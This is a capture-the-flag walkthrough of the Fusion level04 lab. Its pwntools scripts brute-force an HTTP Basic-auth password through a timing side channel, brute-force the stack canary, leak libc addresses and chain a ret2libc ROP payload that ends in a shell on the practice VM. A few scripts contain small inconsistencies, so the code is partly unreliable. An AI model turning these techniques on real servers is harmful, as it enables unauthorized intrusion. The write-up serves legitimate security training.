Level04 introduces timing attacks, position independent executables (PIE), and stack smashing protection (SSP). Partial overwrites ahoy!
The description and source code can be found here:
http://exploit.education/fusion/level04/
The difficulty has really been bumped up a few notches with this level. There are multiple protections to circumvent so you just have to take them one at a time.
Source Code Analysis
Like the last level, I won’t go into great detail with all the source code since most of it doesn’t matter. I haven’t even analyzed it all myself.
Starting with the comments, we can see that this is an HTTP server based on an open source implementation called micro_httpd. So the first thing I did was open a browser and tried to connect to the Fusion VM over port 20004:
As you can see, some basic authentication is required. If you just click cancel on the dialog, you’ll get a “401 Unauthorized” message. Next, I’ll look for vulnerabilities to see if I can bypass that authentication.
I spotted a buffer overflow in the validate_credentials()
function:
int validate_credentials(char *line) { char *p, *pw; unsigned char details[2048]; int bytes_wrong; int l; struct timeval tv; int output_len; memset(details, 0, sizeof(details)); output_len = sizeof(details); ... base64_decode(line, strlen(line), details, &output_len); ... for(bytes_wrong = 0, l = 0; pw[l] && l < password_size; l++) { if(pw[l] != password[l]) { ... bytes_wrong++; } } // anti bruteforce mechanism. good luck ;> tv.tv_sec = 0; tv.tv_usec = 2500 * bytes_wrong; select(0, NULL, NULL, NULL, &tv); if (l < password_size || bytes_wrong) send_error(401, "Unauthorized", "WWW-Authenticate: Basic realm=\"stack06\"", "Unauthorized"); return 1; }
Note: I’m only showing the relevant lines.
That base64_decode()
function simply decodes whatever base64 is given in the “line” variable and saves it to the “details” variable. We can supply a base64 string of any length and it will happily overflow that 2048 byte buffer.
The problem is, if the password is wrong, the code jumps to the send_error()
function and exits instead of returning from validate_credentials()
. You might also notice that the program uses the select()
function to pause execution for 2,500 microseconds for every wrong character in the password. This is supposed to be an anti brute-force mechanism, but ironically, it’s what allows us to brute-force it. We can guess at the password, 1 character at a time, trying all possibilities. The one that takes the least amount of time should be the correct character. The code only adds to the “bytes_wrong” integer if the client supplies an incorrect character. The amount of time the program pauses for is based on that variable.
Finding The Password
First, I’ll write a short Python script to make sure I know how to interact with the program:
#!/usr/bin/env python3 from base64 import b64encode from pwn import * password = b"ABCD" payload = b"GET / HTTP/1.1\n" payload += b"Authorization: Basic " payload += b64encode(password) payload += b"\n\n" io = remote("fusion", 20004) io.send(payload) print(io.recvall().decode())
Not surprisingly, I get a 401 error when running that:
andrew ~/fusion/level04 $ ./level04_test.py [+] Opening connection to fusion on port 20004: Done [+] Receiving all data: Done (27B) [*] Closed connection to fusion port 20004 HTTP/1.0 401 Unauthorized
Before getting into the details of brute-forcing this password, it’s important to note that 2,500 microseconds for an incorrect character is not a lot of time. It can be hard, if not impossible, to measure that delay over a network, especially when there’s so many other factors at play. I had a tough enough time writing a brute-force script that reliably worked across 2 virtual machines. I, eventually, came up with 2 different attempts, the second one working more reliably, though it takes longer. However, it seems both of these attempts worked perfectly when the binary was being run locally (but that’s cheating, now, isn’t it).
For my first attempt, I would guess at the password, going through all of the possibilities for each character. For each possibility, I sent an attempt to the server, timed the response, repeated X number of times (usually 100), took the average and moved to the next character. When the difference between the average time for the current character and the previous character were more than 2500 microseconds, it would mark that one (the shorter one) as the correct character and move on. The problem with this attempt is that it would sometimes get false positives on which character was the correct one before getting to the actual correct character. Network latency, even between two VMs on the same host seemed to be a bit unreliable.
My second attempt was a bit more reliable. It will go through each possible character, guessing X number of times for each, find the average, and keep track of the character with the lowest average. Here’s the code for that and an example run:
#!/usr/bin/env python3 from base64 import b64encode import socket import string import time target = "fusion" times = 50 possibilities = (string.ascii_letters + string.digits).encode() header = b"GET / HTTP/1.1\nAuthorization: Basic " password = b"" for _ in range(16): test = password lowest = (0, 1000000000) for i, c in enumerate(possibilities): test += bytes([c]) payload = header + b64encode(test) + b"\n\n" total = 0 for _ in range(times): s = socket.socket() s.connect((target, 20004)) s.send(payload) start = time.time_ns() s.recv(1024) total += (time.time_ns() - start) s.close() curr_avg = total // times if lowest[1] - curr_avg > 0: lowest = (test, curr_avg) test = password password = lowest[0] print(f"Password so far: {password.decode()}")
FYI: The time.time_ns()
function is new with Python 3.7 and returns an integer number of nanoseconds since the epoch.
andrew ~/fusion/level04 $ time ./level04_brute.py Password so far: Y Password so far: Y5 Password so far: Y51 Password so far: Y516 Password so far: Y516b Password so far: Y516bu Password so far: Y516bu8 Password so far: Y516bu8E Password so far: Y516bu8El Password so far: Y516bu8Els Password so far: Y516bu8Elsx Password so far: Y516bu8ElsxR Password so far: Y516bu8ElsxRq Password so far: Y516bu8ElsxRqg Password so far: Y516bu8ElsxRqg1 Password so far: Y516bu8ElsxRqg1k real 3m46.094s user 0m1.391s sys 0m18.615s
Now I’m going to test it out in the web browser:
Finding the Canary
Now that I can get past that pesky authentication, I’ll need to be able to defeat the stack canary. In case you’re not familiar, a stack canary is a (mostly) random value placed on the stack that’s checked before a function returns. If it’s been modified, then the program exits with an error code and that function does not return. How can we overwrite the saved return address on the stack and start ROPing? We’ll need to overwrite the canary with the exact same value that it currently has. How can we get that value? We’ll take an advantage of the fact that the canary value is the same every time the process forks and brute force it.
First, let’s take the same code I used before in level04_test.py
and try to do a simple buffer overflow with the wrong password. I’ll replace the “password” in line 6 to be
password = b"2j4kIF8SD7dW075G" password += b"A" * 3000
Like I said earlier, the password needs to be correct or the function never returns and the buffer overflow will do nothing. However, the program only checks the first 16 characters. It doesn’t care what’s in the password field after that. I could include a username but that’ll just add unnecessary complexity to the script. Now when I run it:
andrew ~/fusion/level04 $ ./level04_bof.py [+] Opening connection to fusion on port 20004: Done [+] Receiving all data: Done (68B) [*] Closed connection to fusion port 20004 *** stack smashing detected ***: /opt/fusion/bin/level04 terminated
Ok, so maybe you’re wondering, how can brute force this canary? Well, first we find the location of the canary on the stack. I wrote a short script to do this. It just keeps adding bytes to the buffer until the program returns that “stack smashing detected” error:
#!/usr/bin/env python3 from base64 import b64encode from pwn import * header = b"GET / HTTP/1.1\nAuthorization: Basic " password = b"2j4kIF8SD7dW075G" password += b"A" * (2048 - len(password)) context.log_level = logging.ERROR resp = "" while ("stack smashing detected" not in resp): password += b"A" payload = header payload += b64encode(password) payload += b"\n\n" io = remote("fusion", 20004) io.send(payload) resp = io.recvall().decode() print(f"Canary found at {len(buff) - 1} bytes after the password")
I set “context.log_level” to “logging.ERROR” so that I wouldn’t get all of the output that pwntools normally generates. By default, it’s set to “logging.INFO”. It takes less than a second to complete:
andrew ~/fusion/level04 $ ./level04_findcanary.py Canary found at 2032 bytes after the password
Next, we overwrite it, one byte at a time. At each byte, we keep guessing the value until we no longer get the “stack smashing detected” error:
#!/usr/bin/env python3 from base64 import b64encode from pwn import * target = "fusion" header = b"GET / HTTP/1.1\nAuthorization: Basic " password = b"2j4kIF8SD7dW075G" password += b"A" * 2032 # Number of bytes between the password and canary # The first bytes in a Linux canary is always null, but we'll check anyway addr = [] canary = b"" context.log_level = logging.ERROR for i in range(4): addr.append(0) for b in range(0x100): addr[i] = p8(b) canary = b"".join([addr[l] for l in range(len(addr))]) payload = header payload += b64encode(password + canary) payload += b"\n\n" io = remote(target, 20004) io.send(payload) recvd = io.recv(32).decode() io.close() if "stack smashing detected" not in recvd: print(f"Byte position {i} found: {hex(b)}") break print(f"Canary is {hex(u32(canary))}")
andrew ~/fusion/level04 $ ./level04_canary.py Byte position 0 found: 0x0 Byte position 1 found: 0xa3 Byte position 2 found: 0x66 Byte position 3 found: 0xd5 Canary is 0xd566a300
Finding the Offset
Now I need to figure out how far after the canary the saved return address is:
#!/usr/bin/env python3 from base64 import b64encode from pwn import * canary = p32(0xd566a300) password = b"2j4kIF8SD7dW075G" password += b"A" * 2032 password += canary password += cyclic(100) payload = b"GET / HTTP/1.1\n" payload += b"Authorization: Basic " payload += b64encode(password) payload += b"\n\n" io = remote("fusion", 20004) io.send(payload) print(io.recvall().decode())
andrew ~/fusion/level04 $ ./level04_offset.py [+] Opening connection to fusion on port 20004: Done [+] Receiving all data: Done (0B) [*] Closed connection to fusion port 20004
Now on the Fusion VM, I can check what the value of the EIP register was:
root@fusion:~# dmesg | tail -n1 [ 1328.555035] level04[1966]: segfault at 75616171 ip b76c4b19 sp bf952ffc error 4 in libgcc_s.so.1[b76af000+1c000]
Calculating the offset:
andrew ~/fusion/level04 $ pwn cyclic -l $(echo -n 61616168 | xxd -r -p | rev) 28
So the saved return address is 28 bytes after the end of the canary.
Creating a ROP Chain
This part is a little more difficult than with past levels as this binary is a “position independent executable” meaning the entire body of code can function properly no matter where, in memory, it’s placed. This means that the .text
section (and a few others) we normally rely on to have consistent addresses are now impacted by ASLR.
Honestly, I got lucky here while playing around with this. I had inadvertently obtained a backtrace and memory map. The conditions for this seem to be having an incorrect value for the canary and the saved return address must be overwritten with a value somewhere between 0xb75d2000 and 0xbfa5dffc. I’m still not sure why this happens so feel free to leave a comment if you know.
Here’s an example that worked for me:
#!/usr/bin/env python3 from base64 import b64encode from pwn import * offset = 2080 # Bytes from "details" buffer to saved ret address buff = 32 # Number of bytes from the canary to the saved return address password = b"2j4kIF8SD7dW075G" password += b"A" * (offset - buff - len(password)) password += b"B" * buff password += p32(0xb7700000) payload = b"GET / HTTP/1.1\n" payload += b"Authorization: Basic " payload += b64encode(password) payload += b"\n\n" io = remote("fusion", 20004) io.send(payload) print(io.recvall().decode())
Running this gets us all the information we need to build a ROP chain:
andrew ~/fusion/level04 $ ./level04_mmap.py [+] Opening connection to fusion on port 20004: Done [+] Receiving all data: Done (1.52KB) [*] Closed connection to fusion port 20004 *** stack smashing detected ***: /opt/fusion/bin/level04 terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0xb77b58d5] /lib/i386-linux-gnu/libc.so.6(+0xe7887)[0xb77b5887] /opt/fusion/bin/level04(+0x2dd1)[0xb7879dd1] /opt/fusion/bin/level04(+0x22c7)[0xb78792c7] /lib/i386-linux-gnu/libc.so.6(qsort+0x10)[0xb7700000] ======= Memory map: ======== b76af000-b76cb000 r-xp 00000000 07:00 92670 /lib/i386-linux-gnu/libgcc_s.so.1 b76cb000-b76cc000 r--p 0001b000 07:00 92670 /lib/i386-linux-gnu/libgcc_s.so.1 b76cc000-b76cd000 rw-p 0001c000 07:00 92670 /lib/i386-linux-gnu/libgcc_s.so.1 b76cd000-b76ce000 rw-p 00000000 00:00 0 b76ce000-b7844000 r-xp 00000000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so b7844000-b7846000 r--p 00176000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so b7846000-b7847000 rw-p 00178000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so b7847000-b784a000 rw-p 00000000 00:00 0 b7854000-b7856000 rw-p 00000000 00:00 0 b7856000-b7857000 r-xp 00000000 00:00 0 [vdso] b7857000-b7875000 r-xp 00000000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so b7875000-b7876000 r--p 0001d000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so b7876000-b7877000 rw-p 0001e000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so b7877000-b787b000 r-xp 00000000 07:00 75281 /opt/fusion/bin/level04 b787b000-b787c000 rw-p 00004000 07:00 75281 /opt/fusion/bin/level04 b7cc5000-b7ce6000 rw-p 00000000 00:00 0 [heap] bf948000-bf969000 rw-p 00000000 00:00 0 [stack]
I’ve highlighted one of the lines in the backtrace. We can see that the __fortify_fail()
function is at 0xb77b58d5-0x45
, which turns out to be 0xb77b5890
. Now, I know that the memory map tells me that libc starts at 0xb76ce000
. However, in addition to getting libc’s base address, I need to know which version of libc this is. Yes, I already know since I figured this out on the last level, but for added realism, I’m not going to cheat and pretend I don’t already know.
Now I can use the libc-database tool (used in previous levels) to figure out which version of libc our remote machine is using based on the offset of __fortify_fail()
.
andrew ~/libc-database (master) $ ./find __fortify_fail 890 archive-old-eglibc (id libc6_2.13-20ubuntu5_i386)
Great! Now that I’ve verified that, next I’ll need to find 3 more addresses. That of system()
, exit()
, and the “/bin/sh” string.
andrew ~/libc-database (master) $ rabin2 -s db/libc6_2.13-20ubuntu5_i386.so | egrep ' system$| exit$' 135 0x000329e0 0x000329e0 GLOBAL FUNC 45 exit 1409 0x0003cb20 0x0003cb20 WEAK FUNC 139 system andrew ~/libc-database (master) $ rabin2 -z db/libc6_2.13-20ubuntu5_i386.so | grep '/bin/sh' 579 0x001388da 0x001388da 7 8 .rodata ascii /bin/sh
Now I’ll calculate where those will be in memory:
libc addr + system offset = system addr 0xb76ce000 + 0x0003cb20 = 0xb770ab20 libc addr + exit offset = exit addr 0xb76ce000 + 0x000329e0 = 0xb77009e0 libc addr + "/bin/sh" = "/bin/sh" addr 0xb76ce000 + 0x001388da = 0xb78068da
And use those in a ROP chain:
#!/usr/bin/env python3 from base64 import b64encode from pwn import * target = "fusion" offset = 2080 # Bytes from "details" buffer to saved ret address canary = p32(0xd566a300) buff = 28 # The space between the canary & saved return pointer password = b"2j4kIF8SD7dW075G" password += b"A" * (offset - buff - len(canary) - len(password)) password += canary password += b"B" * buff password += p32(0xb770ab20) # system() password += p32(0xb77009e0) # exit() password += p32(0xb78068da) # "/bin/sh" payload = b"GET / HTTP/1.1\n" payload += b"Authorization: Basic " payload += b64encode(password) payload += b"\n\n" io = remote(target, 20004) io.send(payload) io.interactive()
Running that gets me a shell!
andrew ~/fusion/level04 $ ./level04_rop.py [+] Opening connection to fusion on port 20004: Done [*] Switching to interactive mode $ id uid=20004 gid=20004 groups=20004